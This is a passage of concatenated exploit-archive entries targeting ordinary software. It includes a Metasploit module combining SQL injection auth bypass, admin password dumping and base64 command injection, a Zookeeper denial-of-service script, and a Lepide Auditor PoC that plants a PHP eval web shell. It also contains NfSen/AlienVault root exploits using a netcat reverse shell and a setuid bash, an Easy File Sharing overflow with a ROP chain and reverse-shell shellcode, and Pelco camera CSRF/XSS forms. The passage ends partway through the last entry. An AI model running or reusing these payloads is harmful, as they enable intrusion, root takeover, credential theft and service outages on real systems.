   uri = target_uri.path

   send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', '\'%20OR%20active=\'Y'),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity',
        'Cookie' => cookies
      }
    })
  end

  #
  # Run the actual exploit
  #
  def execute_command()

    encoded = Rex::Text.encode_base64("#{payload.encoded}")
    params = "||%20bash%20-c%20\"eval%20`echo%20-n%20" + encoded + "%20|%20base64%20--decode`\""
    uri = target_uri.path

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', params),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity',
        'Cookie' => @cookie
      }
    })
  end


  def exploit()
    print_status("#{rhost}:#{rport} - Trying SQL injection...")
    res1 = sqli_auth_bypass()

    if res1 && res1.code == 200
      print_good('Authentication Bypass (SQLi) was successful')
    else
      print_error('Error: Run \'check\' command to identify whether the auth bypass has been fixed')
    end

    @cookie = res1.get_cookies
    print_status("#{rhost}:#{rport} - Dumping admin password...")
    res = sqli_admin_pass(@cookie)

    if res
      print_good(res.body)
    else
      print_error('Error: No creds returned, possible mitigations are in place.')
    end
    print_status("#{rhost}:#{rport} - Sending payload...waiting for connection")

    execute_command()
  end
end
            
#!/usr/bin/python

# Exploit Title: Zookeeper Client Denial Of Service (Port 2181)
# Date: 2/7/2017
# Exploit Author: Brandon Dennis
# Email: bdennis@mail.hodges.edu
# Software Link: http://zookeeper.apache.org/releases.html#download
# Zookeeper Version: 3.5.2
# Tested on: Windows 2008 R2, Windows 2012 R2 x64 & x86
# Description: The wchp command to the ZK port 2181 will gather open internal files by each session/watcher and organize them for the requesting client. 
#	This command is CPU intensive and will cause a denial of service to the port as well as spike the CPU of the remote machine to 90-100% consistently before any other traffic. 
#	The average amount of threads uses was 10000 for testing. This should work on all 3.x+ versions of Zookeeper.
#	This should effect Linux x86 & x64 as well



import time
import os
import threading
import sys
import socket

numOfThreads = 1
exitStr = "n"
stop_threads = False
threads = []
ipAddress = "192.168.1.5" #Change this
port = 2181

def sendCommand(ipAddress, port):
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((ipAddress, port))
		s.send("wchp\r".encode("utf-8"))
		s.recv(1024)
		s.send("wchc\r".encode("utf-8"))
		s.close()
	except:
		pass

	
def runCMD(id, stop, ipAddress, port):
	while True:
		sendCommand(ipAddress, port)
		if stop():
			break
	return
	
def welcomeBanner():
	banner = """ _______   __  _____               _               
|___  | | / / /  __ \             | |              
   / /| |/ /  | /  \/_ __ __ _ ___| |__   ___ _ __ 
  / / |    \  | |   | '__/ _` / __| '_ \ / _ | '__|
./ /__| |\  \ | \__/| | | (_| \__ | | | |  __| |   
\_____\_| \_/  \____|_|  \__,_|___|_| |_|\___|_|   
                                                   
                 By: Brandon Dennis 
		 Email: bdennis@mail.hodges.edu
				 """
	print(banner)
	

welcomeBanner()
numOfThreads = int(input("How many threads do you want to use: "))
print ("Startin Up Threads...")	
for i in range(numOfThreads):
	t = threading.Thread(target=runCMD, args=(id, lambda: stop_threads, ipAddress, port))
	threads.append(t)
	t.start()
print("Threads are now started...")
	

while exitStr != "y":
	inpt = input("Do you wish to stop threads(y): ")
	
	if inpt == "y":
		exitStr = "y"

print("\nStopping Threads...")
stop_threads = True		
for thread in threads:
	thread.join()
		
print("Threads are now stopped...")
sys.exit(0);
            
#!/usr/bin/python
"""
Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution Vulnerability
Vendor:   http://www.lepide.com/
File:     lepideauditorsuite.zip 
SHA1:     3c003200408add04308c04e3e0ae03b7774e4120
Download: http://www.lepide.com/lepideauditor/download.html
Analysis: https://www.offensive-security.com/vulndev/auditing-the-auditor/

Summary:
========

The application allows an attacker to specify a server where a custom protocol is implemented. This server performs the authentication and allows an attacker to execute controlled SQL directly against the database as root.

Additional code:
================

When I wrote this poc, I didn't combine the server and client into a single poc. So below is the client-poc.py code:

root@kali:~# cat client-poc.py
#!/usr/bin/python
import requests
import sys

if len(sys.argv) < 3:
    print "(+) usage: %s <target> <attacker's server>" % sys.argv[0]
    sys.exit(-1)

target = sys.argv[1]
server = sys.argv[2]

s = requests.Session()
print "(+) sending auth bypass"
s.post('http://%s:7778/' % target, data = {'servername':server, 'username':'whateva','password':'thisisajoke!','submit':''}, allow_redirects=False)
print "(+) sending code execution request"
s.get('http://%s:7778/genratereports.php' % target, params = {'path':'lol','daterange':'2@3','id':'6'})

Example:
========

root@kali:~# ./server-poc.py 
Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution
by mr_me 2016

(+) waiting for the target...
(+) connected by ('172.16.175.174', 50541)
(+) got a login request
(+) got a username: test
(+) got a password: hacked
(+) sending SUCCESS packet
(+) send string successful
(+) connected by ('172.16.175.174', 50542)
(+) got a login request
(+) got a username: test
(+) got a password: hacked
(+) sending SUCCESS packet
(+) send string successful
(+) got a column request
(+) got http request id: 6
(+) got http request path: lol
(+) send string successful
(+) got a filename request
(+) got http request daterange: 1@9 -  23:59:59
(+) got http request id: 6
(+) got http request path: lol
(+) successfully sent tag
(+) successfully sent file!
(+) file sent successfully
(+) done! Remote Code Execution: http://172.16.175.174:7778/offsec.php?e=phpinfo();

In another console:

root@kali:~# ./client-poc.py 172.16.175.174 172.16.175.1
(+) sending auth bypass
(+) sending code execution request
"""
import struct
import socket
from thread import start_new_thread
import struct

LOGIN    = 601
COLUMN   = 604
FILENAME = 603

VALID = 2
TAGR  = 4
FILEN = 5
SUCCESS = "_SUCCESS_"

def get_string(conn):
    size = struct.unpack(">i", conn.recv(4))[0] 
    data = conn.recv(size).decode("utf-16")
    conn.send(struct.pack(">i", VALID))
    return data

def send_string(conn, string):
    size = len(string.encode("utf-16-le"))
    conn.send(struct.pack(">i", size))
    conn.send(string.encode("utf-16-le"))
    return struct.unpack(">i", conn.recv(4))[0] 

def send_tag(conn, tag):
    conn.send(struct.pack(">i", TAGR))
    conn.send(struct.pack(">i", tag))
    return struct.unpack(">i", conn.recv(4))[0]

def send_file(conn, filedata):
    if send_tag(conn, FILEN) == 2:
        print "(+) successfully sent tag"

        # send length of file
        conn.send(struct.pack(">i", len(filedata.encode("utf-16-le"))))

        # send the malicious payload
        conn.send(filedata.encode("utf-16-le"))
        if struct.unpack(">i", conn.recv(4))[0] == 2:
            print "(+) successfully sent file!"
            if send_tag(conn, VALID) == 2:
                return True
    return False

def client_thread(conn):
    """
    Let's put it this way, my mum's not proud of my code.
    """
    while True:
        data = conn.recv(4)
        if data:
            resp = struct.unpack(">i", data)[0]
            if resp == 4:
                code = conn.recv(resp)
                resp = struct.unpack(">i", code)[0]

                # stage 1
                if resp == LOGIN:
                    print "(+) got a login request"

                    # send a VALID response back
                    conn.send(struct.pack(">i", VALID))

                    # now we expect to get the username and password
                    print "(+) got a username: %s" % get_string(conn)
                    print "(+) got a password: %s" % get_string(conn)

                    # now we try to send to send a success packet
                    print "(+) sending SUCCESS packet"
                    if send_string(conn, SUCCESS) == 2:
                        print "(+) send string successful"

                # stage 2
                elif resp == COLUMN:
                    print "(+) got a column request"

                    # send a VALID response back
                    conn.send(struct.pack(">i", VALID))
                    print "(+) got http request id: %s" % get_string(conn)
                    print "(+) got http request path: %s" % get_string(conn)
                    if send_string(conn, "foo-bar") == 2:
                        print "(+) send string successful"

                # stage 3 - this is where the exploitation is
                elif resp == FILENAME:
                    print "(+) got a filename request"
                    conn.send(struct.pack(">i", VALID))

                    # now we read back 3 strings...
                    print "(+) got http request daterange: %s" % get_string(conn)
                    print "(+) got http request id: %s" % get_string(conn)
                    print "(+) got http request path: %s" % get_string(conn)

                    # exploit!
                    if send_file(conn, "select '<?php eval($_GET[e]); ?>' into outfile '../../www/offsec.php';"):
                        print "(+) file sent successfully"
                        print "(+) done! Remote Code Execution: http://%s:7778/offsec.php?e=phpinfo();" % (addr[0])
                        break
    conn.close()

HOST = '0.0.0.0'
PORT = 1056

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10)

print "Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution"
print "by mr_me 2016\t\n"
print "(+) waiting for the target..."
while True:

    # blocking call, waits to accept a connection
    conn, addr = s.accept()
    print '(+) connected by %s' % addr
    start_new_thread(client_thread, (conn,))
s.close()
            
Source: http://bugzilla.maptools.org/show_bug.cgi?id=2712

Triggered by  "./tiffset POC1"

$ ./tiffset POC1
TIFFReadDirectory: Warning, Unknown field with tag 302 (0x12e) encountered.
TIFFReadDirectory: Warning, Unknown field with tag 61961 (0xf209) encountered.
poc3: AdobeDeflate compression support is not configured.
tiffset: tif_dirwrite.c:2127: int TIFFWriteDirectoryTagCheckedLong8Array(TIFF
*, uint32 *, TIFFDirEntry *, uint16, uint32, uint64 *): Assertion
`tif->tif_flags&TIFF_BIGTIFF' failed.
Aborted

The gdb debugging information is listed below:
(gdb) set args POC1
(gdb) r
...
(gdb) c
Continuing.
TIFFReadDirectory: Warning, Unknown field with tag 302 (0x12e) encountered.
TIFFReadDirectory: Warning, Unknown field with tag 61961 (0xf209) encountered.
poc2: AdobeDeflate compression support is not configured.

Breakpoint 2, TIFFWriteDirectoryTagCheckedLong8Array (tif=<optimized out>,
ndir=<optimized out>, count=1, 
    value=0x615c20, dir=<optimized out>, tag=<optimized out>) at
tif_dirwrite.c:2127
2127        assert(tif->tif_flags&TIFF_BIGTIFF);
(gdb) bt
#0  0x00007ffff746a428 in __GI_raise (sig=sig@entry=6) at
../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007ffff746c02a in __GI_abort () at abort.c:89
#2  0x00007ffff7462bd7 in __assert_fail_base (fmt=<optimized out>, 
    assertion=assertion@entry=0x7ffff7baf949 "tif->tif_flags&TIFF_BIGTIFF", 
    file=file@entry=0x7ffff7baf5c0 "tif_dirwrite.c", line=line@entry=2127, 
    function=function@entry=0x7ffff7baf8e2 "int
TIFFWriteDirectoryTagCheckedLong8Array(TIFF *, uint32 *, TIFFDirEntry *,
uint16, uint32, uint64 *)") at assert.c:92
#3  0x00007ffff7462c82 in __GI___assert_fail (assertion=0x7ffff7baf949
"tif->tif_flags&TIFF_BIGTIFF", 
    file=0x7ffff7baf5c0 "tif_dirwrite.c", line=2127, 
    function=0x7ffff7baf8e2 "int TIFFWriteDirectoryTagCheckedLong8Array(TIFF *,
uint32 *, TIFFDirEntry *, uint16, uint32, uint64 *)") at assert.c:101
#4  0x00007ffff7b4e9cb in TIFFWriteDirectoryTagCheckedLong8Array (tif=0x615010,
ndir=<optimized out>, count=1, 
    value=0x615c20, dir=<optimized out>, tag=<optimized out>) at
tif_dirwrite.c:2127
#5  TIFFWriteDirectoryTagLong8Array (count=1, value=0x615c20, tif=<optimized
out>, ndir=<optimized out>, 
    dir=<optimized out>, tag=<optimized out>) at tif_dirwrite.c:1462
#6  TIFFWriteDirectorySec (tif=<optimized out>, isimage=<optimized out>,
imagedone=<optimized out>, 
    pdiroff=<optimized out>) at tif_dirwrite.c:746
#7  0x00007ffff7b4f6b5 in TIFFWriteDirectory (tif=0x615010) at
tif_dirwrite.c:184
#8  TIFFRewriteDirectory (tif=<optimized out>) at tif_dirwrite.c:360
#9  0x0000000000402bc7 in main (argc=<optimized out>, argv=<optimized out>) at
tiffset.c:344

Trigged in line tif_dirwrite.c:2127 at function
TIFFWriteDirectoryTagCheckedLong8Array()
2122 static int
2123 TIFFWriteDirectoryTagCheckedLong8Array(TIFF* tif, uint32* ndir,
TIFFDirEntry* dir, uint16 tag, uint32 count, uint64*      value)
2124 {       
2125         assert(count<0x20000000);
2126         assert(sizeof(uint64)==8);
2127         assert(tif->tif_flags&TIFF_BIGTIFF);
2128         if (tif->tif_flags&TIFF_SWAB)
2129                 TIFFSwabArrayOfLong8(value,count);
2130        
return(TIFFWriteDirectoryTagData(tif,ndir,dir,tag,TIFF_LONG8,count,count*8,value));
2131 }

[note]: Tiffset sets the value of a TIFF header to a specified value.It will
modify the raw POC file,so you'd better make a backup file every time you are
going to run.

Credits:

This vulnerability is detected by team OWL337, with our custom fuzzer collAFL.
Please contact ganshuitao@gmail.com   and chaoz@tsinghua.edu.cn if you need
more info about the team, the tool or the vulnerability.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42299.zip
            
# Exploit Title: NfSen/AlienVault remote root exploit (IPC query command injection)
# Version: NfSen 1.3.6p1, 1.3.7 and 1.3.7-1~bpo80+1_all. Previous versions are also likely to be affected.
# Version: AlienVault 5.3.4
# Date: 2017-07-10
# Vendor Homepage: http://nfsen.sourceforge.net/
# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: AlienVault USM 5.3.4
# CVE: CVE-2017-6971
1. Description

A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request containing control characters and shell commands which will be executed as root on a vulnerable system.

2. Proof of Concept
# From a linux bash prompt on the attacker's machine:

# Set target IP
targetip='10.100.1.1'

# Set desired command to inject (in this case a reverse shell, using Netcat which is conveniently available on an AlienVault USM All-In-One):
cmd='nc -ne /bin/bash 10.100.1.2 443';

# Set the PHPSESSID of an authenticated session which has *already* submitted at least one valid NfSen query for processing via the Web UI.
PHPSESSID='offq09ckq66fqtvdd0vsuhk5c7';

# Next use curl to send the exploit
curl -o /dev/null -s -k -b "PHPSESSID=$PHPSESSID" -d "process=Process&output=custom+...&customfmt=%0A.%0Arun-nfdump%0Aargs=-h; $cmd #" https://$targetip/ossim/nfsen/nfsen.php

3. Solution:

Update to latest version of NfSen/USM/OSSIM
            
# Exploit Title: Local root exploit affecting NfSen <= 1.3.7, AlienVault USM/OSSIM <= 5.3.6
# Version: NfSen 1.3.7
# Version: AlienVault 5.3.6
# Date: 2017-07-10
# Vendor Homepage: http://nfsen.sourceforge.net/
# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: AlienVault USM 5.3.6
# CVE: CVE-2017-6970

1. Description
  
The web user (in AlienVault USB www-data) has access to the NfSen IPC UNIX domain socket. This can be used to send a crafted command (complete with shell metacharacter injection) to the NfSen Perl components, causing OS command injection in a root privilege context, and therefore can be leverage for privilege escalation from the web user to full root privileges.

2. Proof of Concept

Pre-requisites - web user/www-data shell (e.g. web shell, or reverse shell).

Execute the following command:

perl -e 'use Socket; socket(my $nfsend, AF_UNIX, SOCK_STREAM, 0); connect($nfsend, sockaddr_un("/var/nfsen/run/nfsen.comm")); print $nfsend "run-nfdump\nargs=-h \$(bash -c \"cp /bin/bash /tmp\")\n.\nrun-nfdump\nargs=-h \$(bash -c \"chmod u+s /tmp/bash\")\n.\n";'
  
This will create a set uid root bash binary in /tmp, which can then be used to gain full root privileges.

3. Solution:
  
Update to latest version of NfSen/USM/OSSIM
            
#!/usr/bin/python
# Exploit Title: Easy File Sharing Web Server 7.2 - GET Buffer Overflow (DEP Bypass with ROP)
# Date: 8 July 2017
# Exploit Author: Sungchul Park
# Author Contact: lxmania7@gmail.com
# Vendor Homepage: http://www.sharing-file.com
# Software Link: http://www.sharing-file.com/efssetup.exe
# Version: Easy File Sharing Web Server 7.2
# Tested on: Winows 7 SP1

import socket, struct

def create_rop_chain():

	# rop chain generated with mona.py - www.corelan.be
	rop_gadgets = [
		# For EDX -> flAllocationType(0x1000) [ EAX to EBX ]
        # 0x00000000,  # [-] Unable to find gadget to put 00001000 into edx
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
		0xFFFFEFFF,  # -1001 (static value)
        0x100231d1,  # NEG EAX # RETN [ImageLoad.dll]
		0x1001614d,  # DEC EAX # RETN [ImageLoad.dll] 
        0x1001da09,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0x1004de84,  # &Writable location [ImageLoad.dll]
		
		# For EDX -> flAllocationType(0x1000) [ EBX to EDX ]
		0x10022c4c,  # XOR EDX,EDX # RETN [ImageLoad.dll]
		0x10022c1e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [ImageLoad.dll] 
		0xffffffff,  # Filler (Compensation for POP EBX)
		
		# For ESI -> &VirtualAlloc
		0x10015442,  # POP EAX # RETN [ImageLoad.dll] 
		0xffffffff,  # Filler \
		0xffffffff,  # Filler  |
		0xffffffff,  # Filler  | => (Compensation for RETN 0x10)
		0xffffffff,  # Filler /
		0x1004d1fc,  # ptr to &VirtualAlloc() [IAT ImageLoad.dll]
		0x1002248c,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll] 
		0x61c0a798,  # XCHG EAX,EDI # RETN [sqlite3.dll] 
		0x1001aeb4,  # POP ESI # RETN [ImageLoad.dll] 
		0xffffffff,  #  
		0x1001715d,  # INC ESI # ADD AL,3A # RETN [ImageLoad.dll] 
		0x10021a3e,  # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll] 
		
		# For EBP -> Return Address
		0x10013860,  # POP EBP # RETN [ImageLoad.dll] 
		0x61c24169,  # & push esp # ret  [sqlite3.dll]
		
		# For EBX -> dwSize(0x01)
		0x100132ba,  # POP EBX # RETN [ImageLoad.dll] 
		0xffffffff,  #  
		0x61c2785d,  # INC EBX # ADD AL,83 # RETN [sqlite3.dll] 
		0x1001f6da,  # INC EBX # ADD AL,83 # RETN [ImageLoad.dll] 
				
		# For ECX -> flProtect(0x40)
		0x10019dfa,  # POP ECX # RETN [ImageLoad.dll] 
		0xffffffff,  #  
		0x61c68081,  # INC ECX # ADD AL,39 # RETN [sqlite3.dll] 
		0x61c68081,  # INC ECX # ADD AL,39 # RETN [sqlite3.dll] 
		0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
		0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
		0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
		0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
		0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
		0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
		
		# For EDI -> ROP NOP
		0x61c373a4,  # POP EDI # RETN [sqlite3.dll] 
		0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
		# For EAX -> NOP(0x90)
		0x10015442,  # POP EAX # RETN [ImageLoad.dll] 
		0x90909090,  # nop
		0x100240c2,  # PUSHAD # RETN [ImageLoad.dll] 
	]
	return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

# msfvenom -p windows/shell/reverse_tcp LHOST=192.168.44.128 LPORT=8585 -b "\x00\x3b" -e x86/shikata_ga_nai -f python -v shellcode
shellcode = "\x90"*200
shellcode += "\xdb\xdd\xbb\x5e\x78\x34\xc0\xd9\x74\x24\xf4\x5e"
shellcode += "\x29\xc9\xb1\x54\x31\x5e\x18\x03\x5e\x18\x83\xc6"
shellcode += "\x5a\x9a\xc1\x3c\x8a\xd8\x2a\xbd\x4a\xbd\xa3\x58"
shellcode += "\x7b\xfd\xd0\x29\x2b\xcd\x93\x7c\xc7\xa6\xf6\x94"
shellcode += "\x5c\xca\xde\x9b\xd5\x61\x39\x95\xe6\xda\x79\xb4"
shellcode += "\x64\x21\xae\x16\x55\xea\xa3\x57\x92\x17\x49\x05"
shellcode += "\x4b\x53\xfc\xba\xf8\x29\x3d\x30\xb2\xbc\x45\xa5"
shellcode += "\x02\xbe\x64\x78\x19\x99\xa6\x7a\xce\x91\xee\x64"
shellcode += "\x13\x9f\xb9\x1f\xe7\x6b\x38\xf6\x36\x93\x97\x37"
shellcode += "\xf7\x66\xe9\x70\x3f\x99\x9c\x88\x3c\x24\xa7\x4e"
shellcode += "\x3f\xf2\x22\x55\xe7\x71\x94\xb1\x16\x55\x43\x31"
shellcode += "\x14\x12\x07\x1d\x38\xa5\xc4\x15\x44\x2e\xeb\xf9"
shellcode += "\xcd\x74\xc8\xdd\x96\x2f\x71\x47\x72\x81\x8e\x97"
shellcode += "\xdd\x7e\x2b\xd3\xf3\x6b\x46\xbe\x9b\x58\x6b\x41"
shellcode += "\x5b\xf7\xfc\x32\x69\x58\x57\xdd\xc1\x11\x71\x1a"
shellcode += "\x26\x08\xc5\xb4\xd9\xb3\x36\x9c\x1d\xe7\x66\xb6"
shellcode += "\xb4\x88\xec\x46\x39\x5d\x98\x43\xad\x9e\xf5\x60"
shellcode += "\xad\x77\x04\x79\x8c\x0e\x81\x9f\x9e\x40\xc2\x0f"
shellcode += "\x5e\x31\xa2\xff\x36\x5b\x2d\xdf\x26\x64\xe7\x48"
shellcode += "\xcc\x8b\x5e\x20\x78\x35\xfb\xba\x19\xba\xd1\xc6"
shellcode += "\x19\x30\xd0\x37\xd7\xb1\x91\x2b\x0f\xa0\x59\xb4"
shellcode += "\xcf\x49\x5a\xde\xcb\xdb\x0d\x76\xd1\x3a\x79\xd9"
shellcode += "\x2a\x69\xf9\x1e\xd4\xec\xc8\x55\xe2\x7a\x75\x02"
shellcode += "\x0a\x6b\x75\xd2\x5c\xe1\x75\xba\x38\x51\x26\xdf"
shellcode += "\x47\x4c\x5a\x4c\xdd\x6f\x0b\x20\x76\x18\xb1\x1f"
shellcode += "\xb0\x87\x4a\x4a\xc3\xc0\xb5\x08\xe1\x68\xde\xf2"
shellcode += "\xa5\x88\x1e\x99\x25\xd9\x76\x56\x0a\xd6\xb6\x97"
shellcode += "\x81\xbf\xde\x12\x47\x0d\x7e\x22\x42\xd3\xde\x23"
shellcode += "\x60\xc8\x37\xaa\x87\xef\x37\x4c\xb4\x39\x0e\x3a"
shellcode += "\xfd\xf9\x35\x35\xb4\x5c\x1f\xdc\xb6\xf3\x5f\xf5"


host = "192.168.44.139"
port = 80

max_size = 4000
seh_offset = 57
eax_offset = 73
rop_offset = 2788

buffer = "A" * seh_offset					# padding
buffer += "BBBB"							# nSEH Pointer
buffer += struct.pack("<I", 0x1002280a)		# SE Handler with stack pivot(# ADD ESP,1004 # RETN [ImageLoad.dll])
buffer += "A" * (eax_offset - len(buffer))	# padding
buffer += "DDDD"							# EAX overwrite
buffer += "C" * rop_offset
buffer += rop_chain
buffer += shellcode
buffer += "B" * (max_size - len(buffer))	# padding

# HTTP GET Request
request = "GET /vfolder.ghp HTTP/1.1\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8" + "\r\n"
request += "Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4" + "\r\n"
request += "Cookie: SESSIONID=3672; UserID=PassWD=" + buffer + "; frmUserName=; frmUserPass=;"
request += "\r\n"
request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Thu, 06 Jul 2017 14:12:13 GMT" + "\r\n"

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=s.connect((host, port))

s.send(request + "\r\n\r\n")
s.close()
            
Schneider Electric Pelco Sarix/Spectra Cameras Multiple XSS Vulnerabilities


Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)
                  Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)
                  Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)

Summary: Pelco offers the broadest selection of IP cameras designed
for security surveillance in a wide variety of commercial and industrial
settings. From our industry-leading fixed and high-speed IP cameras to
panoramic, thermal imaging, explosionproof and more, we offer a camera
for any environment, any lighting condition and any application.
When nothing but the best will do. Sarix Enhanced Range cameras
provide the most robust feature-set for your mission-critical applications.
With SureVision 3.0, Sarix Enhanced delivers the best possible image
in difficult lighting conditions such as a combination of bright areas,
shaded areas, and intense light. Designed with superior reliability,
fault tolerance, and processing speed, these rugged fixed IP cameras
ensure you always get the video that you need.

Desc: Pelco cameras suffer from multiple dom-based, stored and reflected
XSS vulnerabilities when input passed via several parameters to several
scripts is not properly sanitized before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.

Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
           MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)
           Lighttpd/1.4.28
           PHP/5.3.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5415
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5415.php


07.04.2017

--


CSRF/XSS on username parameter:
-------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/setup/network/dot1x/update" method="POST">
      <input type="hidden" name="dot1x" value="on" />
      <input type="hidden" name="protocol" value="EAP&#45;TLS" />
      <input type="hidden" name="inner&#95;auth" value="CHAP" />
      <input type="hidden" name="username" value='"><script>alert(1)</script>' />
      <input type="hidden" name="password" value="blah" />
      <input type="hidden" name="anonymous&#95;id" value="&#13;" />
      <input type="hidden" name="ca&#95;certificate" value="test" />
      <input type="hidden" name="client&#95;certificate" value="test" />
      <input type="hidden" name="private&#95;key" value="test" />
      <input type="hidden" name="private&#95;key&#95;password" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


CSRF/XSS on gateway, hostname, ip_address, nameservers, http_port, rtsp_port and subnet_mask parameter:
-------------------------------------------------------------------------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/setup/network/general/update" method="POST">
      <input type="hidden" name="hostname" value='"><script>alert(2)</script>' />
      <input type="hidden" name="http&#95;port" value='"><script>alert(3)</script>' />
      <input type="hidden" name="rtsp&#95;port" value='"><script>alert(4)</script>' />
      <input type="hidden" name="dhcp" value="off" />
      <input type="hidden" name="ip&#95;address" value='"><script>alert(5)</script>' />
      <input type="hidden" name="subnet&#95;mask" value='"><script>alert(6)</script>' />
      <input type="hidden" name="gateway" value='"><script>alert(7)</script>' />
      <input type="hidden" name="nameservers" value='"><script>alert(8)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


CSRF/XSS on version parameter:
------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/setup/network/snmp/update" method="POST">
      <input type="hidden" name="version" value='";alert(9)//' />
      <input type="hidden" name="v2&#95;community&#95;string" value="public" />
      <input type="hidden" name="v2&#95;receiver&#95;address" value="" />
      <input type="hidden" name="v2&#95;trap&#95;community&#95;string" value="trapbratce" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


CSRF/XSS on device_name, ntp_server, region, smtp_server and zone parameter:
----------------------------------------------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/setup/system/general/update" method="POST">
      <input type="hidden" name="device&#95;name" value='ZSL"><script>alert(10)</script>' />
      <input type="hidden" name="enable&#95;leds" value="on" />
      <input type="hidden" name="smtp&#95;server" value='"><script>alert(11)</script>' />
      <input type="hidden" name="ntp&#95;server&#95;from&#95;dhcp" value="false" />
      <input type="hidden" name="ntp&#95;server" value="';alert(12)//'" />
      <input type="hidden" name="region" value="Macedonia';alert(13)//" />
      <input type="hidden" name="zone" value="Kumanovo';alert(14)//" />
      <input type="hidden" name="enable&#95;time&#95;overlay" value="on" />
      <input type="hidden" name="enable&#95;name&#95;overlay" value="off" />
      <input type="hidden" name="position" value="topright" />
      <input type="hidden" name="date&#95;format" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


XSS on ftp_base_path, ftp_server, ftp_username, ftp_password and name parameter:
--------------------------------------------------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/setup/events/handlers/update" method="POST">
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="relay&#95;sentinel" value="relay&#95;sentinel" />
      <input type="hidden" name="name" value='"><script>alert(15)</script>' />
      <input type="hidden" name="type" value="Ftp" />
      <input type="hidden" name="email&#95;to" value="" />
      <input type="hidden" name="email&#95;from" value="" />
      <input type="hidden" name="email&#95;subject" value="" />
      <input type="hidden" name="email&#95;message" value="" />
      <input type="hidden" name="dest&#95;name" value="IMG&#37;m&#37;d&#37;Y&#37;H&#37;M&#37;S&#46;jpg" />
      <input type="hidden" name="limit&#95;size" value="" />
      <input type="hidden" name="limit&#95;size&#95;scale" value="K" />
      <input type="hidden" name="ftp&#95;server" value='"><script>alert(16)</script>' />
      <input type="hidden" name="ftp&#95;username" value='"><script>alert(17)</script>' />
      <input type="hidden" name="ftp&#95;password" value='"><script>alert(18)</script>' />
      <input type="hidden" name="ftp&#95;base&#95;path" value='"><script>alert(19)</script>' />
